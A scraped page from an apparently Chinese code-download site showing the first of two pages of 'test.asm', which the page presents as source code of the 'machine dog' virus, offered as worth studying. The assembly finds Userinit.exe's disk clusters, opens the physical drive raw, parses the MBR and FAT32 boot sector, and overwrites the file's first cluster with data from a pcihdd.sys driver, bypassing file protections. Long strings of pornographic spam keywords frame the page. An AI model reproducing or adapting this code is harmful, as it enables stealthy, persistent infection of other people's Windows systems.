亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.asm

?? 機器狗病毒的驅動程序源代碼,值得好好學習
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
       call    RtlZeroMemory

push  110h            ;初始化
lea  eax, OutBuffer
push  eax
call  RtlZeroMemory

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpBytesReturned
push  110h    ; nOutBufferSize
lea  eax, OutBuffer
push  eax    ; lpOutBuffer
push  8    ; nInBufferSize
lea  eax, InBuffer
push  eax    ; lpInBuffer
push  90073h    ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push  hObject   ; hDevice
call  DeviceIoControl ;通過FSCTL_GET_RETRIEVAL_POINTERS獲取userinit文件數(shù)據(jù)的分布信息
or  eax, eax
jz  DeviceIoControlFailed

;這個結構是8字節(jié)對齊的,結構長度32字節(jié)  
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
;    DWORD ExtentCount;
;    LARGE_INTEGER StartingVcn;
;    struct
;    {
;        LARGE_INTEGER NextVcn;
;        LARGE_INTEGER Lcn;
;    } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union 
;{  
;   struct 
;   {    
;       DWORD LowPart;    
;       LONG HighPart;  
;   };  
;   LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;


lea  edi, OutBuffer    ;OutBuffer是上面結構體指針
mov  ebx, [edi]        ;ExtentCount = Extents數(shù)組元素個數(shù)
lea  edi, [edi+10h]    ;指向Extents數(shù)組首地址,根據(jù)字節(jié)對齊
mov  eax, DistanceToMoveHigh
or  ebx, ebx          ;判斷ExtentCount是否為0
jz  ExtentCountIsZero 

mov  eax, [edi+8]    ;指向Extents[0].Lcn.LowPart
mov  edx, [edi+0Ch]  ;指向Extents[0].Lcn.HighPart
cmp  eax, 0FFFFFFFFh
jz  FEIHUA
cmp  edx, 0FFFFFFFFh
jz  FEIHUA

mov  dwLowPartofLcn, eax  ;保存lcn低32位
mov  dwHighPartofLcn, edx ;保存lcn高32位

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, Buffer
push  eax    ; lpBuffer
push  hObject          ; hFile
call  ReadFile        ;讀取userinit文件開頭512字節(jié)

push  hObject          ; hObject
call  CloseHandle     
mov  hObject, 0      ;關閉文件

push  0    ; hTemplateFile
push  0    ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  3    ; dwShareMode
push  0C0000000h  ; dwDesiredAccess
push  offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call  CreateFileA        ;打開物理硬盤讀寫
cmp  eax, 0FFFFFFFFh
jz  OPENPHYSICSFAILED
mov  hFile, eax

push  0    ; dwMoveMethod
push  0    ; lpDistanceToMoveHigh
push  0    ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer  ; 定位

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile          ; hFile
call  ReadFile        ;讀取硬盤主引導分區(qū)MBR
;  
;  0000 |------------------------------------------------| 
;            |                                                                | 
;            |                                                                | 
;            |             Master Boot Record               | 
;            |                                                                | 
;            |                                                                | 
;            |             主引導記錄(446字節(jié))             | 
;            |                                                                | 
;            |                                                                | 
;            |                                                                | 
;      01BD  |                                                         |
;      01BE  |------------------------------------------------|
;            |                                                |
;      01CD  |             分區(qū)信息  1(16字節(jié))                | 
;      01CE  |------------------------------------------------| 
;            |                                                | 
;      01DD  |             分區(qū)信息  2(16字節(jié))                | 
;      01DE  |------------------------------------------------| 
;            |                                                |
;      01ED  |             分區(qū)信息  3(16字節(jié))                |
;      01EE  |------------------------------------------------| 
;            |                                                | 
;      01FD  |             分區(qū)信息  4(16字節(jié))                | 
;            |------------------------------------------------|      
;            | 01FE                | 01FF                     | 
;            |         55          |           AA             | 
;            |------------------------------------------------|
;分區(qū)表
;
;    分區(qū)表是一個鏈表,主分區(qū)表是分區(qū)鏈表的第一個節(jié)點。由于主分區(qū)表中只能分四個分區(qū), 無法滿足需求, 因此設計了一種擴展分區(qū)格式。擴展分區(qū)就是分區(qū)表的第二個節(jié)點到最后一個節(jié)點。
;
;    主分區(qū)表是從主引導扇區(qū)第0x1BE字節(jié)開始的,共64個字節(jié),最后是0x55AA。64個字節(jié)的分區(qū)信息分為四組,每16字節(jié)為一組。每組的數(shù)據(jù)結構是這樣的:
;
;typedef struct
;{
;    BYTE  byState;//分區(qū)狀態(tài), 0 = 未激活, 0x80 = 激活 
;    BYTE  byBeginHead;//分區(qū)起始磁頭號
;    WORD  wBeginSC;//分區(qū)起始扇區(qū)和柱面號, 底字節(jié)的低6位為扇區(qū)號, 高2位為柱面號的第 9,10 位, 高字節(jié)為柱面號的低 8 位
;    BYTE  byFSID;  //分區(qū)類型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此項未用
;    BYTE  byEndHead;//分區(qū)結束磁頭號
;    WORD  wEndSC;//分區(qū)結束扇區(qū)和柱面號
;    DWORD dwInfoAreaSectors;//在線性尋址方式下的分區(qū)相對扇區(qū)地址
;    DWORD dwSectors;//分區(qū)大小 (總扇區(qū)數(shù))
;} INFOAREA_PARAM;//磁盤的分區(qū)信息

lea  edi, PhysicalBuff
cmp  byte ptr [edi+1BEh], 80h  ;byState判斷是否為活動分區(qū)
jnz  NOTACTIVEDISK
movzx  ebx, byte ptr [edi+1C2h]  ;byFSID判斷分區(qū)類型
cmp  ebx, 0Bh
jz  FAT32                     ;Win95 FAT32 
cmp  ebx, 0Ch
jz  FAT32                     ;Win95 FAT32 LBA
cmp  ebx, 7
jnz  NTFS                      ;HPFS/NTFS

FAT32:
mov  eax, [edi+1C6h]          ;C盤起始扇區(qū)(首扇區(qū)的相對扇區(qū)號)
mov  StartSectorC, eax
xor  edx, edx
imul  eax, 200h                ;求出實際的字節(jié)偏移
mov  DistanceToMoveHigh, edx
mov  ecx, eax

push  0    ; dwMoveMethod
lea  eax, DistanceToMoveHigh
push  eax    ; lpDistanceToMoveHigh
push  ecx    ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer   ;定位到硬盤C盤起始扇區(qū)的絕對位置

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile  ; hFile
call  ReadFile        ;讀硬盤C盤起始扇區(qū) 即:第一個分區(qū)的引導扇區(qū)BPB

lea  edi, PhysicalBuff
movzx  eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇區(qū)數(shù)量
add  StartSectorC, eax
cmp  ebx, 0Bh               ;Win95 FAT32 
jz  WIN95FAT32
cmp  ebx, 0Ch               ;Win95 FAT32 LBA
jnz  short FAT32LBA

WIN95FAT32:
movzx  ecx, byte ptr [edi+10h]; BPB_NumFATS = 每個分區(qū)占用的FAT表 數(shù)
mov  eax, [edi+24h]         ; BPB_FATSz32 = 每個FAT占用扇區(qū)數(shù)
xor  edx, edx
imul  eax, ecx
add  StartSectorC, eax      ;數(shù)據(jù)記錄起始扇區(qū)

FAT32LBA:
mov  eax, dwLowPartofLcn
mov  edx, dwHighPartofLcn
movzx  ecx, byte ptr [edi+0Dh]   ;BPB_SecPerClus =  每簇多少扇區(qū)
mov  nNumberOfBytesToWrite, ecx
imul  eax, ecx
add  eax, StartSectorC
adc  edx, 0
imul  eax, 200h             ;求出絕對偏移字節(jié)位置
mov  HighOffset, edx       ;偏移高32位
mov  lDistanceToMove, eax  ;低32位

push  0    ; dwMoveMethod
lea  eax, HighOffset
push  eax    ; lpDistanceToMoveHigh
push  lDistanceToMove ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile    ; hFile
call  ReadFile        ;在找到的硬盤扇區(qū)讀

lea  edi, PhysicalBuff
lea  esi, Buffer
mov  ecx, 200h
repe cmpsb              ;通過對比ReadFile讀取的文件數(shù)據(jù)和自己定位后直接讀取所得到的文件數(shù)據(jù),確定定位是否正確 

or  ecx, ecx
jnz  DIFF           

push  0    ; dwMoveMethod
lea  eax, HighOffset
push  eax    ; lpDistanceToMoveHigh
push  lDistanceToMove ; lDistanceToMove
push  hFile  ; hFile
call  SetFilePointer  ;重新定位到上面找到的硬盤扇區(qū)處

mov  eax, nNumberOfBytesToWrite
shl  eax, 9                      ;這個值是作者估算的
mov  nNumberOfBytesToWrite, eax

push  nNumberOfBytesToWrite ; dwBytes
push  40h          ; uFlags
call  GlobalAlloc
or  eax, eax
jz  ALLOCMEMORYFAILED
mov  lpBuffer,eax

mov  ecx, offset MessageBoxA
sub  ecx, offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"

       ;把整個代碼體作為參數(shù)傳遞給pcihdd.sys,控制碼0xF0003C04,
push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpBytesReturned
push  nNumberOfBytesToWrite ; nOutBufferSize
push  lpBuffer  ; lpOutBuffer
push  ecx    ; nInBufferSize
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push  0F0003C04h  ; dwIoControlCode
push  hDevice    ; hDevice
call  DeviceIoControl

;并將pcihdd返回的數(shù)據(jù)直接寫入userinit.exe的第一簇
push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesWritten
push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push  lpBuffer  ; lpBuffer
push  hFile    ; hFile
call  WriteFile

push  hFile  ; hFile
call  FlushFileBuffers
mov  dwRet, 0
jmp  OVER

ALLOCMEMORYFAILED:
   ; "分配內存不成功"
mov  dwRet, offset aFCJ

OVER:      ; hMem
push  lpBuffer
call  GlobalFree
jmp  FINISHED

DIFF:
mov  dwRet, offset ERR1
jmp  FINISHED

NTFS:
mov  dwRet, offset ERR2
jmp  FINISHED

NOTACTIVEDISK:  
mov  dwRet, offset ERR3 

FINISHED:    ; hObject
push  hFile
call  CloseHandle
jmp  OPENPHYSICSFAILED

FEIHUA:
mov  dwRet, offset ERR4

OPENPHYSICSFAILED: ;打開硬盤設備失敗
jmp  ExtentCountIsZero

DeviceIoControlFailed:
mov  dwRet, offset ERR5

ExtentCountIsZero:
cmp  hObject, 0
jz  ZeroObject
push  hObject  ; hObject
call  CloseHandle
jmp  ZeroObject

CreateUserInitFileFailed:
mov  dwRet, offset ERR6

ZeroObject:    ; hObject
push  hDevice
call  CloseHandle
jmp  EXIT

CreateFileFailed:
mov  dwRet, offset ERR7

EXIT:
popa
mov  eax, dwRet
ret   
DoMyWork endp


start proc
push  0    ; lpModuleName
call  GetModuleHandleA
mov  hModule, eax
call  LoadServiceFromRes ;load service from resource

push  100h    ; nSize
push  offset Dst  ; lpDst
push  offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call  ExpandEnvironmentStringsA

push  offset Dst  ; lpFileName
call  DoMyWork
or  eax, eax
jnz  FAILED
push  offset OutputString ; 
call  OutputDebugStringA
jmp  Exit

FAILED:    ; lpOutputString
push  eax
call  OutputDebugStringA

Exit:
call  QuitService
push  0    ; uExitCode
call  ExitProcess
start endp

end start

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
美女一区二区视频| av成人老司机| 成人av在线看| 在线不卡中文字幕播放| 亚洲国产精品黑人久久久| 亚洲一区二区免费视频| 成人免费看黄yyy456| 91精品国产福利| 樱桃国产成人精品视频| 成人av影视在线观看| 日韩欧美高清dvd碟片| 亚洲综合999| 99国产欧美久久久精品| 久久精品男人天堂av| 久久99热这里只有精品| 欧美视频一区二区三区| 亚洲色图制服诱惑| 成人免费高清在线观看| 久久综合久久鬼色中文字| 麻豆精品精品国产自在97香蕉| 欧美伊人久久久久久久久影院| 亚洲视频在线一区观看| 成人av在线资源网站| 国产欧美日韩三区| 国产毛片精品视频| 国产日韩欧美一区二区三区综合| 国产乱码精品一区二区三区五月婷| 欧美日韩一区久久| 国产一区二区精品在线观看| 精品伊人久久久久7777人| 婷婷久久综合九色综合绿巨人 | 欧美色男人天堂| 中日韩av电影| 成人激情小说乱人伦| 久久久精品tv| 国产精品996| 国产精品久久二区二区| 成人app软件下载大全免费| 日韩毛片精品高清免费| 在线观看一区二区精品视频| 亚洲综合一区二区精品导航| 欧美色爱综合网| 日产精品久久久久久久性色| 日韩精品一区二区三区蜜臀 | 日韩免费一区二区三区在线播放| 亚洲第一av色| 日韩精品一区国产麻豆| 国产精品一区二区91| 中文字幕亚洲区| 欧美精品精品一区| 国产在线视频一区二区| 国产精品女人毛片| 欧美亚洲高清一区| 精品一区二区三区在线播放| 国产精品区一区二区三区| 91麻豆蜜桃一区二区三区| 亚洲电影一级黄| 久久天天做天天爱综合色| 成人精品视频一区| 亚洲国产综合在线| 精品国产乱码久久久久久久久 | 日产国产欧美视频一区精品| 2017欧美狠狠色| 一本大道久久a久久精品综合| 亚洲一区成人在线| 欧美成人午夜电影| av电影在线观看不卡| 天堂va蜜桃一区二区三区 | 黑人巨大精品欧美黑白配亚洲 | 精品人在线二区三区| 成人h动漫精品| 日av在线不卡| 综合久久国产九一剧情麻豆| 91麻豆精品国产91久久久更新时间| 韩国精品久久久| 亚洲国产中文字幕在线视频综合| 亚洲精品一线二线三线| 日本韩国精品在线| 国产毛片精品视频| 日韩高清中文字幕一区| 中文字幕一区二区三区视频| 欧美一级精品大片| 色综合久久六月婷婷中文字幕| 麻豆一区二区99久久久久| 亚洲精品视频在线观看免费| 久久久精品国产免费观看同学| 在线观看91av| 在线视频一区二区三区| 成人开心网精品视频| 国产美女在线精品| 免费成人在线观看| 丝袜美腿一区二区三区| 亚洲美女免费在线| 亚洲国产精品高清| 久久精品亚洲精品国产欧美| 欧美一区二区三区播放老司机| 日本久久精品电影| 99视频在线精品| 国产成人在线色| 国产一区激情在线| 激情综合五月婷婷| 日韩成人精品在线观看| 亚洲成人动漫一区| 一区2区3区在线看| 一区二区三区精品在线观看| 亚洲欧美一区二区三区极速播放| 久久久一区二区三区捆绑**| 精品欧美黑人一区二区三区| 日韩午夜三级在线| 日韩亚洲电影在线| 日韩欧美亚洲另类制服综合在线 | 波多野结衣精品在线| 国产一区二区电影| 国产成人午夜精品5599| 国产成a人无v码亚洲福利| 国产成+人+日韩+欧美+亚洲| 国产精品系列在线播放| 高清国产一区二区三区| 懂色av一区二区三区蜜臀| 高清久久久久久| 91在线观看免费视频| 色综合视频在线观看| 欧美三日本三级三级在线播放| 欧美二区三区的天堂| 日韩女优av电影| 国产日韩精品一区二区三区在线| 亚洲国产精品国自产拍av| 日韩一区有码在线| 亚洲综合一区二区精品导航| 亚洲成av人影院在线观看网| 日本成人在线看| 国产精品伊人色| 北岛玲一区二区三区四区| 99久久免费精品| 欧美日韩在线亚洲一区蜜芽| 日韩一区二区三区在线视频| 久久这里只有精品6| 国产精品蜜臀在线观看| 亚洲制服丝袜av| 日韩高清一级片| 成人午夜视频福利| 91丨porny丨户外露出| 91麻豆精品国产91久久久更新时间 | 日韩高清电影一区| 国产一区二区精品久久91| 91首页免费视频| 日韩欧美在线123| 国产精品美女久久久久aⅴ| 亚洲一卡二卡三卡四卡无卡久久| 美女被吸乳得到大胸91| 粉嫩高潮美女一区二区三区| 欧美亚洲国产怡红院影院| 26uuuu精品一区二区| 亚洲综合视频网| 久久激五月天综合精品| 91小视频在线免费看| 欧美一区二区三区在线视频| 国产精品久久影院| 日韩高清在线观看| 91蜜桃视频在线| 久久免费电影网| 亚洲一二三区不卡| 成人不卡免费av| 精品卡一卡二卡三卡四在线| 一区二区在线观看视频| 国产精品一区二区三区乱码| 欧美亚洲一区二区在线观看| 国产精品沙发午睡系列990531| 日日噜噜夜夜狠狠视频欧美人| 波多野结衣91| 久久久久久久久蜜桃| 日本不卡一区二区三区高清视频| yourporn久久国产精品| 久久久久久久综合狠狠综合| 午夜电影网一区| 在线免费观看视频一区| 国产香蕉久久精品综合网| 免费欧美在线视频| 欧美日韩国产免费一区二区| 1024国产精品| 成人成人成人在线视频| 久久久不卡影院| 国内精品久久久久影院色| 91麻豆精品国产91久久久久 | 欧美体内she精视频| 一色桃子久久精品亚洲| 国产成人午夜99999| 26uuu国产在线精品一区二区| 日韩成人精品视频| 91精品国产aⅴ一区二区| 亚洲午夜电影在线| 91行情网站电视在线观看高清版| 国产精品国产三级国产aⅴ中文| 91久久精品网| 曰韩精品一区二区| 91成人免费在线| 一区二区三区久久久| 欧美性生活大片视频| 亚洲高清视频在线| 欧美日韩免费电影|